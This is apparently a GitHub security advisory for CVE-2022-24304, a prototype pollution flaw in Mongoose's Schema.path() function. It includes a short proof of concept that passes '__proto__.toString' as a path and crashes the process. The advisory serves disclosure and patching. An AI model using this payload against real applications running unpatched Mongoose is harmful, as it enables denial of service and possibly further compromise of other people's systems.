GHSA-h8hf-x3f4-xwgp

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GHSA-h8hf-x3f4-xwgp

Summary: Mongoose Vulnerable to Prototype Pollution in Schema Object

Details: ### Description Mongoose is a MongoDB object modeling tool designed to work in an asynchronous environment. Affected versions of this package are vulnerable to Prototype Pollution. The `Schema.path()` function is vulnerable to prototype pollution when setting the `schema` object. This vulnerability allows modification of the Object prototype and could be manipulated into a Denial of Service (DoS) attack. ### Proof of Concept ```js // poc.js const mongoose = require('mongoose'); const schema = new mongoose.Schema(); malicious_payload = '__proto__.toString' schema.path(malicious_payload, [String]) x = {} console.log(x.toString()) // crashed (Denial of service (DoS) attack) ``` ### Impact This vulnerability can be manipulated to exploit other types of attacks, such as Denial of service (DoS), Remote Code Execution, or Property Injection.

References: https://nvd.nist.gov/vuln/detail/CVE-2022-24304, https://github.com/Automattic/mongoose/issues/12085, https://github.com/Automattic/mongoose/commit/6a197316564742c0422309e1b5fecfa4faec126e, https://github.com/Automattic/mongoose/commit/a45cfb6b0ce0067ae9794cfa80f7917e1fb3c6f8, https://github.com/Automattic/mongoose/blob/51e758541763b6f14569744ced15cc23ab8b50c6/lib/schema.js#L88-L141, https://huntr.dev/bounties/055be524-9296-4b2f-b68d-6d5b810d1ddd